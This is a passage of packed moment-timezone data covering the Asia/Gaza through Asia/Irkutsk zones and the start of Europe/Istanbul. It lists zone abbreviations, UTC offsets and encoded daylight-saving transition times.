WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00|","Asia/Gaza|LMT EET EEST IST IDT|-2h.Q -20 -30 -20 -30|0121212121212121212121212121212121234343434343434343434343434343431212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121|-2MBCh.Q 1Azeh.Q MM0 iM0 4JA0 10o0 1pA0 10M0 1pA0 16o0 1jA0 16o0 1jA0 pBa0 Vz0 1oN0 11b0 1oO0 10N0 1pz0 10N0 1pb0 10N0 1pb0 10N0 1pb0 10N0 1pz0 10N0 1pb0 10N0 1pb0 11d0 1oL0 dW0 hfB0 Db0 1fB0 Rb0 bXB0 gM0 8Q00 IM0 1wo0 TX0 1HB0 IL0 1s10 10n0 1o10 WL0 1zd0 On0 1ld0 11z0 1o10 14n0 1o10 14n0 1nd0 12n0 1nd0 Xz0 1q10 12n0 M10 C00 17c0 1io0 17c0 1io0 17c0 1o00 1cL0 1fB0 1cL0 1cN0 1cL0 1cN0 1cL0 1cN0 1cL0 1cN0 17c0 1io0 18N0 1bz0 19z0 1gp0 1610 1iL0 11z0 1o10 14o0 1lA1 SKX 1xd1 MKX 1AN0 1a00 1fA0 1cL0 1cN0 1nX0 1210 1nA0 1210 1qL0 WN0 1qL0 WN0 1qL0 11c0 1on0 11B0 1o00 11A0 1qo0 XA0 1qp0 WN0 1qL0 11B0 1nX0 11B0 1nX0 11B0 1nX0 11B0 1qL0 WN0 1qL0 WN0 1qL0 11B0 1nX0 11B0 1nX0 11B0 1qL0 WN0 1qL0 WN0 1qL0 WN0 1qL0 11B0 1nX0 11B0 1nX0 11B0 1qL0 WN0 1qL0 WN0 1qL0 11B0 1nX0 11B0 1nX0 11B0 1nX0 11B0 1qL0 WN0 1qL0 WN0 1qL0 11B0 1nX0 11B0 1nX0 11B0 1qL0 WN0 1qL0 WN0 1qL0 11B0 1nX0 11B0 1nX0 11B0 1nX0 11B0 1qL0 WN0 1qL0 WN0 1qL0 11B0 1nX0 11B0 1nX0 11B0 1qL0 WN0 1qL0 WN0 1qL0 WN0 1qL0 11B0 1nX0 11B0 1nX0 11B0 1qL0 WN0 1qL0 WN0 1qL0 11B0 1nX0 11B0 1nX0 11B0 1nX0 11B0 1qL0 WN0 1qL0 WN0 1qL0 11B0 1nX0 11B0 1nX0 11B0 1qL0 WN0 1qL0 WN0 1qL0 11B0 1nX0 11B0 1nX0 11B0 1nX0 11B0 1qL0 WN0 1qL0 WN0 1qL0 11B0 1nX0 11B0 1nX0 11B0 1qL0 WN0 1qL0 WN0 1qL0 WN0 1qL0 11B0 1nX0 11B0 1nX0 11B0 1qL0 WN0 1qL0 WN0 1qL0 11B0 1nX0 11B0 1nX0 11B0 1nX0 11B0 1qL0 WN0 1qL0 WN0 1qL0 WN0 1qL0 11B0 1nX0 11B0 1nX0 11B0 1qL0 WN0 1qL0 WN0 1qL0 11B0 1nX0 11B0 1nX0 11B0 1nX0 11B0 1qL0 WN0 1qL0 WN0 1qL0 11B0 1nX0 11B0 1nX0 11B0 1qL0 WN0 1qL0 WN0 1qL0 11B0 1nX0 11B0 1nX0 11B0 1nX0 11B0 1qL0 WN0 1qL0 WN0 1qL0 11B0 1nX0 11B0 1nX0 11B0 1qL0 WN0 1qL0 WN0 1qL0 WN0 1qL0 11B0 1nX0 11B0 1nX0 11B0 1qL0 WN0 1qL0 WN0 1qL0 11B0 1nX0 11B0 1nX0 11B0 1nX0 11B0 1qL0 WN0 1qL0 WN0 1qL0 11B0 1nX0 11B0 1nX0 11B0 1qL0 WN0 1qL0 WN0 1qL0 11B0 1nX0 11B0 1nX0 11B0 1nX0 11B0 1qL0 WN0 1qL0 WN0 1qL0 11B0 1nX0 11B0 1nX0 11B0 1qL0 WN0 1qL0 WN0 1qL0 WN0 1qL0 11B0 1nX0 11B0 1nX0 11B0 1qL0 WN0 1qL0 WN0 1qL0 11B0 1nX0 11B0 1nX0 11B0 1nX0 11B0 1qL0 WN0 1qL0 WN0 1qL0 11B0 1nX0 11B0 1nX0 11B0 1qL0 WN0 1qL0 WN0 1qL0 11B0 1nX0 11B0 1nX0 11B0 1nX0 11B0 1qL0 WN0 1qL0 WN0 1qL0 11B0 1nX0 11B0 1nX0 11B0 1qL0 WN0 1qL0 WN0 1qL0 WN0 1qL0 11B0 1nX0 11B0 1nX0 11B0 1qL0 WN0 1qL0 WN0 1qL0 11B0 1nX0 11B0 1nX0 11B0 1nX0 11B0 1qL0 WN0 1qL0 WN0 1qL0 11B0 1nX0 11B0 1nX0 11B0 1nX0 11B0 1qL0 WN0 1qL0 WN0 1qL0 11B0 1nX0 11B0 1nX0 11B0 1nX0 11B0 1qL0 WN0 1qL0 WN0 1qL0 11B0 1nX0 11B0 1nX0 11B0 1qL0 WN0 1qL0 WN0 1qL0 11B0 1nX0 11B0 1nX0 11B0 1nX0 11B0 1qL0 WN0 1qL0 WN0 1qL0 11B0 1nX0 11B0 1nX0 11B0 1qL0 WN0 1qL0 WN0 1qL0 WN0 1qL0 11B0 1nX0 11B0 1nX0 11B0 1qL0 WN0 1qL0 WN0 1qL0 11B0 1nX0 11B0 1nX0 11B0 1nX0 11B0 1qL0 WN0 1qL0 WN0 1qL0 11B0 1nX0 11B0 1nX0 11B0 1qL0 WN0 1qL0 WN0 1qL0 11B0 1nX0 11B0 1nX0 11B0 1nX0 11B0 1qL0 WN0 1qL0 WN0 1qL0 11B0 1nX0 11B0 1nX0 11B0 1qL0 WN0 1qL0 WN0 1qL0 WN0 1qL0 11B0 1nX0 11B0 1nX0 11B0 1qL0 WN0 1qL0 WN0 1qL0 11B0 1nX0 11B0 1nX0 11B0 1nX0 11B0 1qL0 WN0 1qL0 WN0 1qL0 11B0 1nX0 11B0 1nX0 11B0 1qL0 WN0 1qL0 WN0 1qL0 11B0 1nX0 11B0 1nX0 11B0 1nX0 11B0 1qL0 WN0 1qL0 WN0 1qL0 11B0 1nX0 11B0 1nX0 11B0 1qL0 WN0 1qL0 WN0 1qL0 WN0 1qL0 11B0 1nX0 11B0 1nX0 11B0 1qL0 WN0 1qL0 WN0 1qL0 11B0 1nX0 11B0 1nX0 11B0 1nX0 11B0 1qL0 WN0 1qL0 WN0 1qL0 11B0 1nX0 11B0 1nX0 11B0 1qL0 WN0 1qL0 WN0 1qL0 WN0 1qL0 11B0 1nX0 11B0 1nX0 11B0 1nX0 11B0 1qL0 WN0 1qL0 WN0 1qL0 11B0 1nX0 11B0 1nX0 11B0 1qL0 WN0 1qL0 WN0 1qL0 11B0 1nX0 11B0 1nX0 11B0 1nX0 11B0 1qL0 WN0 1qL0 WN0 1qL0 11B0 1nX0 11B0 1nX0 11B0 1qL0 WN0 1qL0 WN0 1qL0 WN0 1qL0 11B0 1nX0 11B0 1nX0 11B0 1qL0 WN0 1qL0 WN0 1qL0 11B0 1nX0 11B0 1nX0 11B0 1nX0 11B0 1qL0 WN0 1qL0 WN0 1qL0 11B0 1nX0 11B0 1nX0 11B0 1qL0 WN0 1qL0 WN0 1qL0 11B0 1nX0 11B0 1nX0 11B0 1nX0 11B0 1qL0 WN0 1qL0 WN0 1qL0 11B0 1nX0 11B0 1nX0 11B0 1qL0 WN0 1qL0 WN0 1qL0 WN0 1qL0 11B0 1nX0 11B0 1nX0 11B0 1qL0 WN0 1qL0 WN0 1qL0 11B0 1nX0 11B0 1nX0 11B0 1nX0 11B0 1qL0 WN0 1qL0 WN0 1qL0 11B0 1nX0 11B0 1nX0 11B0 1qL0 WN0 1qL0 WN0 1qL0 11B0 1nX0 11B0 1nX0 11B0 1nX0 11B0 1qL0 WN0 1qL0 WN0 1qL0 11B0 1nX0 11B0 1nX0 11B0 1qL0 WN0 1qL0 WN0 1qL0 WN0 1qL0 11B0 1nX0 11B0 1nX0 11B0 1qL0 WN0 1qL0 WN0 1qL0 11B0 1nX0 11B0 1nX0 11B0 1nX0 11B0 1qL0 WN0 1qL0 WN0 1qL0 11B0 1nX0 11B0 1nX0 11B0 1qL0 WN0 1qL0 WN0 1qL0 11B0 1nX0 11B0 1nX0 11B0 1nX0 11B0 1qL0 WN0 1qL0 WN0 1qL0 11B0 1nX0 11B0 1nX0 11B0 1qL0 WN0 1qL0 WN0 1qL0 WN0 1qL0 11B0 1nX0 11B0 1nX0 11B0 1qL0 WN0 1qL0 WN0 1qL0 11B0 1nX0 11B0 1nX0 11B0 1nX0 11B0 1qL0 WN0 1qL0 WN0 1qL0 11B0 1nX0 11B0 1nX0 11B0 1qL0 WN0 1qL0 WN0 1qL0 11B0 1nX0 11B0 1nX0 11B0 1nX0 11B0 1qL0 WN0 1qL0 WN0 1qL0 11B0 1nX0 11B0 1nX0 11B0 1qL0 WN0 1qL0 WN0 1qL0 WN0 1qL0 11B0 1nX0 11B0 1nX0 11B0 1qL0 WN0 1qL0 WN0 1qL0 11B0 1nX0 11B0 1nX0 11B0 1nX0 11B0 1qL0 WN0 1qL0 WN0 1qL0 11B0 1nX0 11B0 1nX0 11B0 1qL0 WN0 1qL0 WN0 1qL0 11B0 1nX0 11B0 1nX0 11B0 1nX0 11B0 1qL0 WN0 1qL0 WN0 1qL0 11B0 1nX0 11B0 1nX0 11B0 1qL0 WN0 1qL0 WN0 1qL0 WN0 1qL0 11B0 1nX0 11B0 1nX0 11B0 1qL0 WN0 1qL0 WN0 1qL0 11B0 1nX0 11B0 1nX0 11B0 1nX0 11B0 1qL0 WN0 1qL0 WN0 1qL0 11B0 1nX0 11B0 1nX0 11B0 1qL0 WN0 1qL0 WN0 1qL0 11B0 1nX0 11B0 1nX0 11B0 1nX0 11B0 1qL0 WN0 1qL0 WN0 1qL0 11B0 1nX0 11B0 1nX0 11B0 1qL0 WN0 1qL0 WN0 1qL0 WN0 1qL0 11B0 1nX0 11B0 1nX0 11B0 1qL0 WN0 1qL0 WN0 1qL0 11B0 1nX0 11B0 1nX0 11B0 1nX0|18e5","Asia/Hebron|LMT EET EEST IST IDT|-2k.n -20 -30 -20 -30|012121212121212121212121212121212123434343434343434343434343434343121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121|-2MBCk.n 1Azek.n MM0 iM0 4JA0 10o0 1pA0 10M0 1pA0 16o0 1jA0 16o0 1jA0 pBa0 Vz0 1oN0 11b0 1oO0 10N0 1pz0 10N0 1pb0 10N0 1pb0 10N0 1pb0 10N0 1pz0 10N0 1pb0 10N0 1pb0 11d0 1oL0 dW0 hfB0 Db0 1fB0 Rb0 bXB0 gM0 8Q00 IM0 1wo0 TX0 1HB0 IL0 1s10 10n0 1o10 WL0 1zd0 On0 1ld0 11z0 1o10 14n0 1o10 14n0 1nd0 12n0 1nd0 Xz0 1q10 12n0 M10 C00 17c0 1io0 17c0 1io0 17c0 1o00 1cL0 1fB0 1cL0 1cN0 1cL0 1cN0 1cL0 1cN0 1cL0 1cN0 17c0 1io0 18N0 1bz0 19z0 1gp0 1610 1iL0 12L0 1mN0 14o0 1lc0 Tb0 1xd1 MKX bB0 cn0 1cN0 1a00 1fA0 1cL0 1cN0 1nX0 1210 1nA0 1210 1qL0 WN0 1qL0 WN0 1qL0 11c0 1on0 11B0 1o00 11A0 1qo0 XA0 1qp0 WN0 1qL0 11B0 1nX0 11B0 1nX0 11B0 1nX0 11B0 1qL0 WN0 1qL0 WN0 1qL0 11B0 1nX0 11B0 1nX0 11B0 1qL0 WN0 1qL0 WN0 1qL0 WN0 1qL0 11B0 1nX0 11B0 1nX0 11B0 1qL0 WN0 1qL0 WN0 1qL0 11B0 1nX0 11B0 1nX0 11B0 1nX0 11B0 1qL0 WN0 1qL0 WN0 1qL0 11B0 1nX0 11B0 1nX0 11B0 1qL0 WN0 1qL0 WN0 1qL0 11B0 1nX0 11B0 1nX0 11B0 1nX0 11B0 1qL0 WN0 1qL0 WN0 1qL0 11B0 1nX0 11B0 1nX0 11B0 1qL0 WN0 1qL0 WN0 1qL0 WN0 1qL0 11B0 1nX0 11B0 1nX0 11B0 1qL0 WN0 1qL0 WN0 1qL0 11B0 1nX0 11B0 1nX0 11B0 1nX0 11B0 1qL0 WN0 1qL0 WN0 1qL0 11B0 1nX0 11B0 1nX0 11B0 1qL0 WN0 1qL0 WN0 1qL0 11B0 1nX0 11B0 1nX0 11B0 1nX0 11B0 1qL0 WN0 1qL0 WN0 1qL0 11B0 1nX0 11B0 1nX0 11B0 1qL0 WN0 1qL0 WN0 1qL0 WN0 1qL0 11B0 1nX0 11B0 1nX0 11B0 1qL0 WN0 1qL0 WN0 1qL0 11B0 1nX0 11B0 1nX0 11B0 1nX0 11B0 1qL0 WN0 1qL0 WN0 1qL0 WN0 1qL0 11B0 1nX0 11B0 1nX0 11B0 1qL0 WN0 1qL0 WN0 1qL0 11B0 1nX0 11B0 1nX0 11B0 1nX0 11B0 1qL0 WN0 1qL0 WN0 1qL0 11B0 1nX0 11B0 1nX0 11B0 1qL0 WN0 1qL0 WN0 1qL0 11B0 1nX0 11B0 1nX0 11B0 1nX0 11B0 1qL0 WN0 1qL0 WN0 1qL0 11B0 1nX0 11B0 1nX0 11B0 1qL0 WN0 1qL0 WN0 1qL0 WN0 1qL0 11B0 1nX0 11B0 1nX0 11B0 1qL0 WN0 1qL0 WN0 1qL0 11B0 1nX0 11B0 1nX0 11B0 1nX0 11B0 1qL0 WN0 1qL0 WN0 1qL0 11B0 1nX0 11B0 1nX0 11B0 1qL0 WN0 1qL0 WN0 1qL0 11B0 1nX0 11B0 1nX0 11B0 1nX0 11B0 1qL0 WN0 1qL0 WN0 1qL0 11B0 1nX0 11B0 1nX0 11B0 1qL0 WN0 1qL0 WN0 1qL0 WN0 1qL0 11B0 1nX0 11B0 1nX0 11B0 1qL0 WN0 1qL0 WN0 1qL0 11B0 1nX0 11B0 1nX0 11B0 1nX0 11B0 1qL0 WN0 1qL0 WN0 1qL0 11B0 1nX0 11B0 1nX0 11B0 1qL0 WN0 1qL0 WN0 1qL0 11B0 1nX0 11B0 1nX0 11B0 1nX0 11B0 1qL0 WN0 1qL0 WN0 1qL0 11B0 1nX0 11B0 1nX0 11B0 1qL0 WN0 1qL0 WN0 1qL0 WN0 1qL0 11B0 1nX0 11B0 1nX0 11B0 1qL0 WN0 1qL0 WN0 1qL0 11B0 1nX0 11B0 1nX0 11B0 1nX0 11B0 1qL0 WN0 1qL0 WN0 1qL0 11B0 1nX0 11B0 1nX0 11B0 1nX0 11B0 1qL0 WN0 1qL0 WN0 1qL0 11B0 1nX0 11B0 1nX0 11B0 1nX0 11B0 1qL0 WN0 1qL0 WN0 1qL0 11B0 1nX0 11B0 1nX0 11B0 1qL0 WN0 1qL0 WN0 1qL0 11B0 1nX0 11B0 1nX0 11B0 1nX0 11B0 1qL0 WN0 1qL0 WN0 1qL0 11B0 1nX0 11B0 1nX0 11B0 1qL0 WN0 1qL0 WN0 1qL0 WN0 1qL0 11B0 1nX0 11B0 1nX0 11B0 1qL0 WN0 1qL0 WN0 1qL0 11B0 1nX0 11B0 1nX0 11B0 1nX0 11B0 1qL0 WN0 1qL0 WN0 1qL0 11B0 1nX0 11B0 1nX0 11B0 1qL0 WN0 1qL0 WN0 1qL0 11B0 1nX0 11B0 1nX0 11B0 1nX0 11B0 1qL0 WN0 1qL0 WN0 1qL0 11B0 1nX0 11B0 1nX0 11B0 1qL0 WN0 1qL0 WN0 1qL0 WN0 1qL0 11B0 1nX0 11B0 1nX0 11B0 1qL0 WN0 1qL0 WN0 1qL0 11B0 1nX0 11B0 1nX0 11B0 1nX0 11B0 1qL0 WN0 1qL0 WN0 1qL0 11B0 1nX0 11B0 1nX0 11B0 1qL0 WN0 1qL0 WN0 1qL0 11B0 1nX0 11B0 1nX0 11B0 1nX0 11B0 1qL0 WN0 1qL0 WN0 1qL0 11B0 1nX0 11B0 1nX0 11B0 1qL0 WN0 1qL0 WN0 1qL0 WN0 1qL0 11B0 1nX0 11B0 1nX0 11B0 1qL0 WN0 1qL0 WN0 1qL0 11B0 1nX0 11B0 1nX0 11B0 1nX0 11B0 1qL0 WN0 1qL0 WN0 1qL0 11B0 1nX0 11B0 1nX0 11B0 1qL0 WN0 1qL0 WN0 1qL0 WN0 1qL0 11B0 1nX0 11B0 1nX0 11B0 1nX0 11B0 1qL0 WN0 1qL0 WN0 1qL0 11B0 1nX0 11B0 1nX0 11B0 1qL0 WN0 1qL0 WN0 1qL0 11B0 1nX0 11B0 1nX0 11B0 1nX0 11B0 1qL0 WN0 1qL0 WN0 1qL0 11B0 1nX0 11B0 1nX0 11B0 1qL0 WN0 1qL0 WN0 1qL0 WN0 1qL0 11B0 1nX0 11B0 1nX0 11B0 1qL0 WN0 1qL0 WN0 1qL0 11B0 1nX0 11B0 1nX0 11B0 1nX0 11B0 1qL0 WN0 1qL0 WN0 1qL0 11B0 1nX0 11B0 1nX0 11B0 1qL0 WN0 1qL0 WN0 1qL0 11B0 1nX0 11B0 1nX0 11B0 1nX0 11B0 1qL0 WN0 1qL0 WN0 1qL0 11B0 1nX0 11B0 1nX0 11B0 1qL0 WN0 1qL0 WN0 1qL0 WN0 1qL0 11B0 1nX0 11B0 1nX0 11B0 1qL0 WN0 1qL0 WN0 1qL0 11B0 1nX0 11B0 1nX0 11B0 1nX0 11B0 1qL0 WN0 1qL0 WN0 1qL0 11B0 1nX0 11B0 1nX0 11B0 1qL0 WN0 1qL0 WN0 1qL0 11B0 1nX0 11B0 1nX0 11B0 1nX0 11B0 1qL0 WN0 1qL0 WN0 1qL0 11B0 1nX0 11B0 1nX0 11B0 1qL0 WN0 1qL0 WN0 1qL0 WN0 1qL0 11B0 1nX0 11B0 1nX0 11B0 1qL0 WN0 1qL0 WN0 1qL0 11B0 1nX0 11B0 1nX0 11B0 1nX0 11B0 1qL0 WN0 1qL0 WN0 1qL0 11B0 1nX0 11B0 1nX0 11B0 1qL0 WN0 1qL0 WN0 1qL0 11B0 1nX0 11B0 1nX0 11B0 1nX0 11B0 1qL0 WN0 1qL0 WN0 1qL0 11B0 1nX0 11B0 1nX0 11B0 1qL0 WN0 1qL0 WN0 1qL0 WN0 1qL0 11B0 1nX0 11B0 1nX0 11B0 1qL0 WN0 1qL0 WN0 1qL0 11B0 1nX0 11B0 1nX0 11B0 1nX0 11B0 1qL0 WN0 1qL0 WN0 1qL0 11B0 1nX0 11B0 1nX0 11B0 1qL0 WN0 1qL0 WN0 1qL0 11B0 1nX0 11B0 1nX0 11B0 1nX0 11B0 1qL0 WN0 1qL0 WN0 1qL0 11B0 1nX0 11B0 1nX0 11B0 1qL0 WN0 1qL0 WN0 1qL0 WN0 1qL0 11B0 1nX0 11B0 1nX0 11B0 1qL0 WN0 1qL0 WN0 1qL0 11B0 1nX0 11B0 1nX0 11B0 1nX0 11B0 1qL0 WN0 1qL0 WN0 1qL0 11B0 1nX0 11B0 1nX0 11B0 1qL0 WN0 1qL0 WN0 1qL0 11B0 1nX0 11B0 1nX0 11B0 1nX0 11B0 1qL0 WN0 1qL0 WN0 1qL0 11B0 1nX0 11B0 1nX0 11B0 1qL0 WN0 1qL0 WN0 1qL0 WN0 1qL0 11B0 1nX0 11B0 1nX0 11B0 1qL0 WN0 1qL0 WN0 1qL0 11B0 1nX0 11B0 1nX0 11B0 1nX0 11B0 1qL0 WN0 1qL0 WN0 1qL0 11B0 1nX0 11B0 1nX0 11B0 1qL0 WN0 1qL0 WN0 1qL0 11B0 1nX0 11B0 1nX0 11B0 1nX0 11B0 1qL0 WN0 1qL0 WN0 1qL0 11B0 1nX0 11B0 1nX0 11B0 1qL0 WN0 1qL0 WN0 1qL0 WN0 1qL0 11B0 1nX0 11B0 1nX0 11B0 1qL0 WN0 1qL0 WN0 1qL0 11B0 1nX0 11B0 1nX0 11B0 1nX0|25e4","Asia/Ho_Chi_Minh|LMT PLMT +07 +08 +09|-76.u -76.u -70 -80 -90|0123423232|-2yC76.u bK00 1h7b6.u 5lz0 18o0 3Oq0 k5b0 aW00 BAM0|90e5","Asia/Hong_Kong|LMT HKT HKST HKWT JST|-7A.G -80 -90 -8u -90|0123412121212121212121212121212121212121212121212121212121212121212121|-2CFH0 1taO0 Hc0 xUu 9tBu 11z0 1tDu Rc0 1wo0 11A0 1cM0 11A0 1o00 11A0 1o00 11A0 1o00 14o0 1o00 11A0 1nX0 U10 1tz0 U10 1wn0 Rd0 1wn0 U10 1tz0 U10 1tz0 U10 1tz0 U10 1wn0 Rd0 1wn0 Rd0 1wn0 U10 1tz0 U10 1tz0 17d0 1cL0 1cN0 1cL0 1cN0 1fz0 1cN0 1cL0 1cN0 1cL0 1cN0 1cL0 1cN0 1cL0 1cN0 1fz0 1cN0 1cL0 s10 1Vz0 1cN0 1cL0 1cN0 1cL0 6fd0 14n0|73e5","Asia/Hovd|LMT +06 +07 +08|-66.A -60 -70 -80|012323232323232323232323232323232323232323232323232|-2APG6.A 2Uko6.A cKn0 1db0 1dd0 1cL0 1cN0 1cL0 1cN0 1cL0 1cN0 1cL0 1cN0 1cL0 1cN0 1cL0 1cN0 1fz0 1cN0 1cL0 1cN0 1cL0 1cN0 1cL0 1cN0 1cL0 1cN0 1cL0 1fB0 1cL0 1cN0 1cL0 1cN0 1cL0 6hD0 11z0 1cN0 1cL0 1cN0 1cL0 1cN0 1cL0 1cN0 1cL0 1cN0 1fz0 kEp0 1cJ0 1cP0 1cJ0|81e3","Asia/Irkutsk|LMT IMT +07 +08 +09|-6V.5 -6V.5 -70 -80 -90|012343434343434343434343234343434343434343434343434343434343434343|-3D8SV.5 1Bxc0 pjXV.5 23CL0 1db0 1cN0 1db0 1cN0 1db0 1dd0 1cO0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 2pB0 IM0 rX0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 8Hz0|60e4","Europe/Istanbul|LMT IMT EET EEST +03 +04|-1T.Q -1U.U -20 -30 -30 -40|01232323232323232323232323232323232323232323232345423232323232323232323232323232323232323232323232323232323232323234|-3D8NT.Q 1ePXW.U dzzU.U 11b0 8tB0 1on0 1410 1db0 19B0 1in0 3Rd0 Un0 1oN0 11b0 zSN0 CL0 mp0 1Vz0 1gN0 8yn0 1yp0 ML0 1kp0 17b0 1ip0 17b0 1fB0 19X0 1ip0 19X0 1ip0 17b0 qdB0 38L0 1jd0 Tz0 l6O0 11A0 WN0 1qL0 TB0 1tX0 U10 1tz0 11B0 1in0 17d0 z90 cne0 pb0 2Cp0 1800 14o0 1dc0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1a00 1fA0 1cM0 1cM0 1fA0 1o00 11A0 